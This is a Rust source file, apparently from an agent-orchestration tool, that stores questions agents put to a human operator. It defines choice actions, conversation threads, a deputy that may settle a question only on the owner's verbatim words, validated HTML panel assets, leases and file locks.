1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 12;
65
66const POLL: Duration = Duration::from_secs(3);
75
76const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
87
88const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
94
95const WAIT_SLICE: Duration = Duration::from_secs(240);
119
120pub const LEASE_TTL: Duration = Duration::from_secs(90);
130
131const LOCK_STALE: Duration = Duration::from_secs(10);
134
135pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
146
147pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
156
157const PANEL_DIR: &str = ".panel";
163
164const PANEL_HTML: &str = "index.html";
166
167const PANEL_TMP: &str = ".panel.tmp";
169
170pub fn valid_asset_name(name: &str) -> bool {
187 if name.is_empty() || name.len() > 64 || name.contains("..") {
188 return false;
189 }
190 let mut chars = name.chars();
191 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
192 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
193}
194
195#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
197#[serde(rename_all = "lowercase")]
198pub enum QuestionStatus {
199 Open,
201 Answered,
203 Abandoned,
207}
208
209impl QuestionStatus {
210 pub fn open(self) -> bool {
212 matches!(self, Self::Open)
213 }
214
215 pub fn as_str(self) -> &'static str {
217 match self {
218 Self::Open => "open",
219 Self::Answered => "answered",
220 Self::Abandoned => "abandoned",
221 }
222 }
223}
224
225#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
232#[serde(rename_all = "lowercase")]
233pub enum Answer {
234 Choice(String),
236 Text(String),
238}
239
240#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
248#[serde(tag = "do", rename_all = "lowercase")]
249pub enum ChoiceAction {
250 Resume {
252 run: String,
254 },
255 ResumeRun {
257 run: String,
259 },
260 ReleaseTask {
262 task: String,
264 held_at: jiff::Timestamp,
266 reason: Option<String>,
268 },
269 RerunChecks {
271 repo: PathBuf,
273 pr: String,
275 head: String,
277 runs: Vec<String>,
279 },
280 AbandonRun {
282 run: String,
284 },
285 Requeue,
287 Hold,
289 Done,
291}
292
293impl ChoiceAction {
294 pub fn targets(&self, task: &crate::queue::Task) -> bool {
296 match self {
297 Self::ReleaseTask { task: id, .. } => task.id == *id,
298 Self::ResumeRun { run } | Self::AbandonRun { run } | Self::Resume { run } => {
299 task.runs.contains(run)
300 }
301 _ => false,
302 }
303 }
304
305 pub fn maintenance(&self) -> bool {
307 matches!(
308 self,
309 Self::ResumeRun { .. }
310 | Self::ReleaseTask { .. }
311 | Self::RerunChecks { .. }
312 | Self::AbandonRun { .. }
313 )
314 }
315
316 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
321 let split = spec
322 .find("={")
323 .map(|at| (&spec[..at], &spec[at + 1..]))
324 .or_else(|| spec.rsplit_once('='));
325 let Some((label, verb)) = split else {
326 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
327 };
328 let label = label.trim();
329 if label.is_empty() {
330 bail!("`--action {spec}` names no choice before `=`");
331 }
332 let verb = verb.trim();
333 if verb.starts_with('{') {
334 let action = serde_json::from_str(verb).context("parse typed choice action")?;
335 return Ok((label.to_owned(), action));
336 }
337 let action = match verb.split_once(':') {
338 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
339 run: run.trim().into(),
340 },
341 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
342 run: run.trim().into(),
343 },
344 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
345 run: run.trim().to_owned(),
346 },
347 None if verb == "resume" => {
348 if default_run.is_empty() {
349 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
350 }
351 Self::Resume {
352 run: default_run.to_owned(),
353 }
354 }
355 None if verb == "requeue" => Self::Requeue,
356 None if verb == "hold" => Self::Hold,
357 None if verb == "done" => Self::Done,
358 _ => bail!(
359 "unknown action `{verb}` in `--action {spec}`; \
360 use resume[:<run>], requeue, hold or done"
361 ),
362 };
363 Ok((label.to_owned(), action))
364 }
365
366 pub fn matches_alias(&self, input: &str) -> bool {
369 let input = input.trim();
370 match self {
371 Self::Resume { run } => {
372 [
373 "resume",
374 "resume run",
375 "resume-run",
376 "再開",
377 "実行再開",
378 "実行を再開",
379 "実行を再開する",
380 ]
381 .iter()
382 .any(|alias| input.eq_ignore_ascii_case(alias))
383 || [
384 format!("resume {run}"),
385 format!("resume:{run}"),
386 format!("resume run {run}"),
387 format!("resume {}", short(run)),
388 format!("resume run {}", short(run)),
389 ]
390 .iter()
391 .any(|alias| input.eq_ignore_ascii_case(alias))
392 }
393 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
394 .iter()
395 .any(|alias| input.eq_ignore_ascii_case(alias)),
396 _ => false,
397 }
398 }
399
400 pub fn describe(&self) -> String {
402 match self {
403 Self::Resume { run } => format!("resume run {}", short(run)),
404 Self::ResumeRun { run } => format!("resume run {}", short(run)),
405 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
406 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
407 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
408 Self::Requeue => "requeue the task".to_owned(),
409 Self::Hold => "hold the task until the operator releases it".to_owned(),
410 Self::Done => "mark the task done".to_owned(),
411 }
412 }
413}
414
415pub fn parse_actions(
418 specs: &[String],
419 choices: &[String],
420 default_run: &str,
421) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
422 let mut out = std::collections::BTreeMap::new();
423 for spec in specs {
424 let (label, action) = ChoiceAction::parse(spec, default_run)?;
425 if !choices.contains(&label) {
426 bail!(
427 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
428 choices.join(", ")
429 );
430 }
431 if out.insert(label.clone(), action).is_some() {
432 bail!("more than one --action for `{label}`");
433 }
434 }
435 Ok(out)
436}
437
438#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
449#[serde(rename_all = "lowercase")]
450pub enum Who {
451 Operator,
453 Agent,
456}
457
458#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
466#[serde(deny_unknown_fields)]
467pub struct Turn {
468 pub who: Who,
470 pub body: String,
472 pub at: Timestamp,
474 #[serde(default, skip_serializing_if = "Option::is_none")]
479 pub note: Option<String>,
480}
481
482#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
484#[serde(rename_all = "lowercase")]
485pub enum WaiterKind {
486 Asker,
488 Daemon,
491 Deputy,
495}
496
497#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
509pub struct Deputy {
510 pub brief: String,
513 #[serde(default)]
515 pub agent: String,
516 #[serde(default)]
518 pub seat: Option<crate::agent::SeatState>,
519 #[serde(default)]
522 pub starts: u32,
523}
524
525impl Deputy {
526 pub fn new(brief: String) -> Self {
528 Self {
529 brief,
530 agent: String::new(),
531 seat: None,
532 starts: 0,
533 }
534 }
535}
536
537pub fn deputy_seat_key(id: &str) -> String {
539 format!("deputy-{}", short(id))
540}
541
542#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
547pub struct Waiter {
548 pub kind: WaiterKind,
550 pub since: Timestamp,
552}
553
554#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
563pub struct Lease {
564 pub kind: WaiterKind,
566 pub pid: u32,
568 pub beat_at: Timestamp,
570}
571
572impl Lease {
573 pub fn fresh(&self, now: Timestamp) -> bool {
575 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
576 }
577}
578
579#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
581#[serde(deny_unknown_fields)]
582pub struct Question {
583 pub schema: u32,
585 pub id: String,
588 pub run: String,
590 pub node: String,
592 pub seat: String,
595 pub summary: String,
598 pub detail: String,
601 #[serde(default, skip_serializing_if = "Option::is_none")]
603 pub posting_comparison: Option<crate::github_text::PostingComparison>,
604 pub choices: Vec<String>,
608 #[serde(default)]
610 pub merge_target: Option<crate::merge_decision::Target>,
611 #[serde(default)]
615 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
616 #[serde(default)]
623 pub panel: bool,
624 #[serde(default)]
631 pub assets: Vec<String>,
632 pub status: QuestionStatus,
634 pub asked_at: Timestamp,
636 #[serde(default)]
638 pub triage_generation: Option<u64>,
639 pub answered_at: Option<Timestamp>,
641 pub answer: Option<Answer>,
643 #[serde(default)]
652 pub thread: Vec<Turn>,
653 #[serde(default)]
668 pub answer_timeout: u64,
669 #[serde(default)]
675 pub cwd: Option<String>,
676 #[serde(default)]
678 pub waiter: Option<Waiter>,
679 #[serde(default)]
683 pub delivered_turns: usize,
684 #[serde(default)]
687 pub answer_delivered: bool,
688 #[serde(default)]
691 pub deputy: Option<Deputy>,
692 #[serde(default)]
696 pub consult: Option<ChatConsult>,
697 #[serde(default, skip_serializing_if = "Option::is_none")]
699 pub answer_authority: Option<crate::consult::AnswerAuthority>,
700 #[serde(default)]
703 pub decision_context: Option<String>,
704}
705
706#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
708pub struct ChatConsult {
709 pub talk: String,
711 pub at: Timestamp,
713}
714
715impl Question {
716 pub fn run_names_task(&self) -> bool {
719 matches!(
720 self.node.as_str(),
721 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
722 )
723 }
724
725 pub fn new(
728 run: String,
729 node: String,
730 seat: String,
731 summary: String,
732 detail: String,
733 choices: Vec<String>,
734 ) -> Self {
735 Self {
736 schema: SCHEMA,
737 id: new_id(),
738 run,
739 node,
740 seat,
741 summary,
742 detail,
743 posting_comparison: None,
744 choices,
745 merge_target: None,
746 actions: std::collections::BTreeMap::new(),
747 panel: false,
748 assets: Vec::new(),
749 status: QuestionStatus::Open,
750 asked_at: Timestamp::now(),
751 triage_generation: None,
752 answered_at: None,
753 answer: None,
754 thread: Vec::new(),
755 answer_timeout: 0,
756 cwd: None,
757 waiter: None,
758 delivered_turns: 0,
759 answer_delivered: false,
760 deputy: None,
761 consult: None,
762 answer_authority: None,
763 decision_context: None,
764 }
765 }
766
767 pub fn short(&self) -> &str {
769 short(&self.id)
770 }
771
772 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
775 match (&self.status, &self.answer) {
776 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
777 _ => None,
778 }
779 }
780
781 pub fn free_text(&self) -> bool {
783 self.choices.is_empty()
784 }
785
786 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
789 if self.free_text() || self.choices.iter().any(|c| c == reply) {
790 return Ok(reply);
791 }
792 if ChoiceAction::Hold.matches_alias(reply)
793 && let Some(label) = self
794 .choices
795 .iter()
796 .find(|label| crate::triage::contextual_keep_held(self, label))
797 {
798 return Ok(label);
799 }
800 let matches: Vec<_> = self
801 .actions
802 .iter()
803 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
804 .collect();
805 match matches.as_slice() {
806 [(label, _)] => Ok(label.as_str()),
807 [] => bail!(
808 "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
809 ),
810 _ => bail!(
811 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
812 ),
813 }
814 }
815
816 pub fn answer(&mut self, answer: Answer) -> Result<()> {
826 match self.status {
827 QuestionStatus::Answered => bail!(
828 "question {} was already answered; the run has moved on and a \
829 second answer would be a decision nobody acted on",
830 self.short()
831 ),
832 QuestionStatus::Abandoned => bail!(
833 "question {} was abandoned and the run behind it is gone",
834 self.short()
835 ),
836 QuestionStatus::Open => {}
837 }
838 let body = match &answer {
839 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
840 };
841 if body.trim().is_empty() {
842 bail!(
843 "question {} needs an answer; an empty one tells the agent \
844 nothing and it would guess anyway",
845 self.short()
846 );
847 }
848 match &answer {
849 Answer::Choice(c) if self.free_text() => bail!(
850 "question {} asks for free text, so `{c}` cannot be a choice \
851 it offered",
852 self.short()
853 ),
854 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
855 "`{c}` is not one of the choices question {} offers: {}",
856 self.short(),
857 self.choices.join(", ")
858 ),
859 Answer::Text(_) if !self.free_text() => bail!(
860 "question {} is multiple choice; answer with one of: {}",
861 self.short(),
862 self.choices.join(", ")
863 ),
864 _ => {}
865 }
866 if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
867 bail!("hold cannot execute a question action");
868 }
869 self.answered_at = Some(Timestamp::now());
870 self.answer = Some(answer);
871 self.status = QuestionStatus::Answered;
872 Ok(())
873 }
874
875 pub fn abandon(&mut self, why: impl Into<String>) {
887 if !self.status.open() {
888 return;
889 }
890 self.status = QuestionStatus::Abandoned;
891 let why = why.into();
892 let why = why.trim();
893 if why.is_empty() {
894 return;
895 }
896 if !self.detail.is_empty() {
897 self.detail.push('\n');
898 }
899 self.detail.push_str("\n_Abandoned: ");
900 self.detail.push_str(why);
901 self.detail.push_str("._\n");
902 }
903
904 pub fn resolution(&self) -> Option<String> {
911 match (self.status, &self.answer) {
912 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
913 Some(a.clone())
914 }
915 _ => None,
916 }
917 }
918
919 pub fn settle_by_deputy(
930 &mut self,
931 seat: &str,
932 label: &str,
933 quote: &str,
934 note: Option<&str>,
935 ) -> Result<()> {
936 let Some(deputy) = &self.deputy else {
937 bail!("question {} has no deputy", self.short());
938 };
939 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
940 if own != Some(seat) {
941 bail!("only the deputy of question {} may settle it", self.short());
942 }
943 if !self.choices.iter().any(|c| c == label) {
944 bail!(
945 "`{label}` is not one of the choices offered on question {}",
946 self.short()
947 );
948 }
949 let quote = quote.trim();
950 if quote.is_empty()
951 || !self
952 .thread
953 .iter()
954 .any(|t| t.who == Who::Operator && t.body.contains(quote))
955 {
956 bail!(
957 "the quote is not something the owner said on question {}",
958 self.short()
959 );
960 }
961 let latest = self
964 .thread
965 .iter()
966 .rev()
967 .find(|t| t.who == Who::Operator)
968 .map(|t| {
969 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
970 t.body.as_str()
971 } else {
972 t.body.trim()
973 }
974 });
975 if let Some(message) = latest {
976 crate::consult::validate_batch_effect(self, label, message, quote)?;
977 }
978 if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
979 let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
980 crate::consult::validate_effect(self, label, message, quote, true)?;
981 } else if crate::deputy::merge_gated(self) {
982 let ok = if label == crate::land::APPROVE {
988 latest.is_some_and(|m| match &self.merge_target {
989 Some(target) => m == format!("merge {}", target.head) && quote == m,
990 None => m.contains(quote),
991 })
992 } else {
993 latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
994 };
995 if !ok {
996 bail!(
997 "on a merge approval `{label}` settles it only when the quote is a \
998 verbatim part of the owner's latest message ({}); if the wording is \
999 doubtful, ask what they mean with `--thread` instead",
1000 if label == crate::land::HOLD {
1001 "for `hold`, the whole message"
1002 } else {
1003 "the quote must be the instruction itself"
1004 }
1005 );
1006 }
1007 } else if self.node == crate::github_text::ASK_NODE
1008 && crate::deputy::destructive(self, label)
1009 {
1010 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
1011 bail!(
1012 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
1013 );
1014 }
1015 } else if crate::deputy::destructive(self, label)
1016 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
1017 {
1018 bail!(
1019 "`{label}` cannot be undone; it settles question {} only when the owner's \
1020 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
1021 / not / question); ask what they mean with `--thread` instead",
1022 self.short()
1023 );
1024 }
1025 self.thread.push(Turn {
1026 who: Who::Agent,
1027 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
1028 at: Timestamp::now(),
1029 note: note
1030 .map(str::trim)
1031 .filter(|n| !n.is_empty())
1032 .map(str::to_owned),
1033 });
1034 self.delivered_turns = self.thread.len();
1035 self.answer(Answer::Choice(label.to_owned()))
1036 }
1037
1038 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1049 match self.status {
1050 QuestionStatus::Answered => bail!(
1051 "question {} was already answered; there is nothing left to \
1052 discuss",
1053 self.short()
1054 ),
1055 QuestionStatus::Abandoned => bail!(
1056 "question {} was abandoned and the run behind it is gone",
1057 self.short()
1058 ),
1059 QuestionStatus::Open => {}
1060 }
1061 let body = body.into();
1062 if body.trim().is_empty() {
1063 bail!("a message to question {} cannot be empty", self.short());
1064 }
1065 self.thread.push(Turn {
1066 who: Who::Operator,
1067 body,
1068 at: Timestamp::now(),
1069 note: None,
1070 });
1071 Ok(())
1072 }
1073
1074 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1084 match self.status {
1085 QuestionStatus::Answered => bail!(
1086 "question {} was already answered; replying now would not \
1087 reach anyone",
1088 self.short()
1089 ),
1090 QuestionStatus::Abandoned => bail!(
1091 "question {} was abandoned and the run behind it is gone",
1092 self.short()
1093 ),
1094 QuestionStatus::Open => {}
1095 }
1096 let body = body.into();
1097 if body.trim().is_empty() {
1098 bail!("a reply to question {} cannot be empty", self.short());
1099 }
1100 self.actions.retain(|label, _| choices.contains(label));
1102 self.choices = choices;
1103 let unread = self.unread_from_owner().is_some();
1104 self.thread.push(Turn {
1105 who: Who::Agent,
1106 body,
1107 at: Timestamp::now(),
1108 note: None,
1109 });
1110 if !unread {
1114 self.delivered_turns = self.thread.len();
1115 }
1116 Ok(())
1117 }
1118
1119 pub fn unread_from_owner(&self) -> Option<String> {
1126 if !self.status.open() {
1127 return None;
1128 }
1129 let said = self.undelivered_owner_turns();
1130 (!said.is_empty()).then(|| said.join("\n\n"))
1131 }
1132
1133 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1139 let from = self.delivered_turns.min(self.thread.len());
1140 self.thread[from..]
1141 .iter()
1142 .filter(|t| t.who == Who::Operator)
1143 .map(|t| t.body.as_str())
1144 .collect()
1145 }
1146
1147 pub fn last_activity(&self) -> i64 {
1151 self.thread
1152 .iter()
1153 .map(|t| t.at.as_second())
1154 .max()
1155 .unwrap_or(0)
1156 .max(self.asked_at.as_second())
1157 }
1158
1159 pub fn waiting_on_agent(&self) -> bool {
1168 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1169 }
1170
1171 fn should_notify(&self, now: Timestamp) -> bool {
1179 let Some(last) = self
1180 .thread
1181 .iter()
1182 .rev()
1183 .find(|t| t.who == Who::Operator)
1184 .map(|t| t.at)
1185 else {
1186 return true;
1187 };
1188 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1189 }
1190}
1191
1192#[derive(Debug, Clone)]
1194pub struct Questions {
1195 root: PathBuf,
1196}
1197
1198impl Questions {
1199 pub fn open() -> Self {
1201 Self::at(crate::run::home().join("questions"))
1202 }
1203
1204 pub fn at(root: PathBuf) -> Self {
1207 Self { root }
1208 }
1209
1210 pub fn root(&self) -> &Path {
1212 &self.root
1213 }
1214
1215 pub fn path_of(&self, id: &str) -> PathBuf {
1217 self.root.join(format!("{id}.json"))
1218 }
1219
1220 pub fn panel_dir(&self, id: &str) -> PathBuf {
1222 self.root.join(format!("{id}{PANEL_DIR}"))
1223 }
1224
1225 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1249 if !valid_asset_name(&q.id) {
1250 bail!(
1251 "question id `{}` is not a name magi will build a panel path from",
1252 q.id
1253 );
1254 }
1255 if html.trim().is_empty() {
1256 bail!(
1257 "question {} was handed an empty panel; an empty frame reads to \
1258 the owner as \"the agent had nothing to say\", which is a lie",
1259 q.short()
1260 );
1261 }
1262
1263 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1266 for src in assets {
1267 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1268 if !valid_asset_name(name) {
1269 bail!(
1270 "panel asset `{}` cannot be stored: a panel file name must \
1271 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1272 src.display()
1273 );
1274 }
1275 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1276 bail!(
1277 "two panel assets are both named `{name}` - {} and {} - and \
1278 the panel can only show one of them; rename one at the source",
1279 first.display(),
1280 src.display()
1281 );
1282 }
1283 named.push((name.to_owned(), src.as_path()));
1284 }
1285
1286 let mut total = html.len() as u64;
1287 for (_, src) in &named {
1288 let meta = std::fs::metadata(src)
1289 .with_context(|| format!("stat panel asset {}", src.display()))?;
1290 if !meta.is_file() {
1291 bail!(
1292 "panel asset `{}` is not a file; a panel is html plus files \
1293 copied beside it",
1294 src.display()
1295 );
1296 }
1297 total = total.saturating_add(meta.len());
1298 }
1299 if total > PANEL_MAX_BYTES {
1300 bail!(
1301 "panel for question {} is {total} bytes, over magi's cap of \
1302 {PANEL_MAX_BYTES} bytes; nothing was written",
1303 q.short()
1304 );
1305 }
1306
1307 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1308 let dir = self.panel_dir(&q.id);
1309 std::fs::create_dir_all(&self.root)
1310 .with_context(|| format!("create {}", self.root.display()))?;
1311 clear_dir(&tmp)?;
1312 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1313 if let Err(e) = fill_panel(&tmp, html, &named) {
1314 let _ = std::fs::remove_dir_all(&tmp);
1317 return Err(e);
1318 }
1319 clear_dir(&dir)?;
1320 std::fs::rename(&tmp, &dir)
1321 .with_context(|| format!("move panel into {}", dir.display()))?;
1322
1323 q.panel = true;
1324 q.assets = named.into_iter().map(|(n, _)| n).collect();
1325 q.assets.sort_unstable();
1326 Ok(())
1327 }
1328
1329 pub fn panel_html(&self, id: &str) -> Option<String> {
1335 if !valid_asset_name(id) {
1336 return None;
1337 }
1338 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1339 }
1340
1341 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1352 if !valid_asset_name(name) {
1353 bail!(
1354 "`{name}` is not a panel file name; it must match \
1355 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1356 );
1357 }
1358 if !valid_asset_name(id) {
1359 return Ok(None);
1360 }
1361 let dir = self.panel_dir(id);
1362 if !dir.is_dir() {
1363 return Ok(None);
1364 }
1365 let path = dir.join(name);
1366 match std::fs::read(&path) {
1367 Ok(bytes) => Ok(Some(bytes)),
1368 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1369 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1370 }
1371 }
1372
1373 pub fn drop_panel(&self, id: &str) -> Result<()> {
1382 if !valid_asset_name(id) {
1383 bail!("question id `{id}` is not a name magi will build a panel path from");
1384 }
1385 clear_dir(&self.panel_dir(id))?;
1386 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1387 }
1388
1389 pub fn lease_path(&self, id: &str) -> PathBuf {
1391 self.root.join(format!("{id}.lease"))
1392 }
1393
1394 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1396 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1397 serde_json::from_str(&body).ok()
1398 }
1399
1400 pub fn beat(&self, id: &str, kind: WaiterKind) {
1407 let lease = Lease {
1408 kind,
1409 pid: std::process::id(),
1410 beat_at: Timestamp::now(),
1411 };
1412 let path = self.lease_path(id);
1413 let tmp = path.with_extension("lease.tmp");
1414 let written = std::fs::create_dir_all(&self.root)
1415 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1416 .and_then(|()| std::fs::rename(&tmp, &path));
1417 if let Err(e) = written {
1418 tracing::debug!("could not beat the lease on question {id}: {e}");
1419 }
1420 }
1421
1422 pub fn drop_lease(&self, id: &str) {
1424 let _ = std::fs::remove_file(self.lease_path(id));
1425 }
1426
1427 pub fn update<T>(
1438 &self,
1439 id: &str,
1440 f: impl FnOnce(&mut Question) -> Result<T>,
1441 ) -> Result<(Question, T)> {
1442 std::fs::create_dir_all(&self.root)
1443 .with_context(|| format!("create {}", self.root.display()))?;
1444 let lock = self.root.join(format!("{id}.lock"));
1445 let started = std::time::Instant::now();
1446 loop {
1447 match std::fs::OpenOptions::new()
1448 .write(true)
1449 .create_new(true)
1450 .open(&lock)
1451 {
1452 Ok(_) => break,
1453 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1454 let stale = std::fs::metadata(&lock)
1455 .and_then(|m| m.modified())
1456 .ok()
1457 .and_then(|t| t.elapsed().ok())
1458 .is_some_and(|age| age > LOCK_STALE);
1459 if stale {
1460 let _ = std::fs::remove_file(&lock);
1461 } else if started.elapsed() > LOCK_STALE {
1462 bail!("could not lock question {id}");
1463 } else {
1464 std::thread::sleep(Duration::from_millis(15));
1465 }
1466 }
1467 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1468 }
1469 }
1470 struct Unlock(PathBuf);
1471 impl Drop for Unlock {
1472 fn drop(&mut self) {
1473 let _ = std::fs::remove_file(&self.0);
1474 }
1475 }
1476 let _guard = Unlock(lock);
1477 let mut q = read_path(&self.path_of(id))?;
1478 let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1479 let out = f(&mut q)?;
1480 if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1481 let home = self.root.parent().context("question store has no home")?;
1482 crate::merge_decision::dismiss(home, &q)?;
1483 }
1484 self.put(&mut q)?;
1485 Ok((q, out))
1486 }
1487
1488 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1491 anyhow::ensure!(
1492 q.actions.keys().all(|c| q.choices.contains(c)),
1493 "question action names an unoffered choice"
1494 );
1495 for label in &q.choices {
1496 anyhow::ensure!(
1497 crate::choice_effect::describe(q, label).is_some(),
1498 "question node {} offers an unsupported choice: {label}",
1499 q.node
1500 );
1501 }
1502 self.put(q)
1503 }
1504
1505 pub fn put(&self, q: &mut Question) -> Result<()> {
1509 std::fs::create_dir_all(&self.root)
1510 .with_context(|| format!("create {}", self.root.display()))?;
1511 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1512 let path = self.path_of(&q.id);
1513 let tmp = path.with_extension("json.tmp");
1514 let is_new = !path.exists();
1515 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1516 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1517 if is_new
1520 && q.status.open()
1521 && q.node != crate::bump::NOTICE_NODE
1522 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1523 {
1524 crate::notices::quiet_for(home, q);
1525 }
1526 Ok(())
1527 }
1528
1529 pub fn get(&self, id: &str) -> Result<Question> {
1531 let resolved = self.resolve_id(id)?;
1532 let q = read_path(&self.path_of(&resolved))?;
1533 Ok(self.with_repair_choice(q))
1534 }
1535
1536 fn with_repair_choice(&self, mut q: Question) -> Question {
1537 if q.status.open()
1540 && q.merge_target.is_none()
1541 && let Some(home) = self.root.parent()
1542 && let Some(target) = crate::release_watch::approval_target(home, &q)
1543 && let Ok((current, ())) = self.update(&q.id, |current| {
1544 if current.status.open() && current.merge_target.is_none() {
1545 current.merge_target = Some(target.clone());
1546 }
1547 Ok(())
1548 })
1549 {
1550 q = current;
1551 }
1552 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1553 && q.node == crate::land::APPROVAL_NODE
1554 && let Some(home) = self.root.parent()
1555 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1556 {
1557 let mut upgraded = q.clone();
1558 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1559 match self.update(&q.id, |current| {
1560 crate::land::upgrade_repair_choice(current, &state);
1561 Ok(())
1562 }) {
1563 Ok((current, ())) => return current,
1564 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1565 }
1566 }
1567 }
1568 q
1569 }
1570
1571 pub fn list(&self) -> Vec<Question> {
1579 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1580 .into_iter()
1581 .flatten()
1582 .flatten()
1583 .map(|e| e.path())
1584 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1585 .filter_map(|p| read_path(&p).ok())
1586 .map(|q| self.with_repair_choice(q))
1587 .collect();
1588 all.sort_unstable_by(|a, b| {
1589 let rank = |q: &Question| u8::from(!q.status.open());
1590 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1591 });
1592 all
1593 }
1594
1595 pub fn open_for(&self, run: &str) -> Vec<Question> {
1601 self.list()
1602 .into_iter()
1603 .filter(|q| q.status.open() && q.run == run)
1604 .collect()
1605 }
1606
1607 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1620 let mut abandoned = 0;
1621 for mut q in self.open_for(run) {
1622 q.abandon(why);
1623 self.put(&mut q)?;
1624 abandoned += 1;
1625 }
1626 Ok(abandoned)
1627 }
1628
1629 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1653 if status.resumable() {
1654 return Ok(0);
1655 }
1656 let why = format!(
1657 "run {run} {}, so nothing is waiting for this answer",
1658 status.as_str()
1659 );
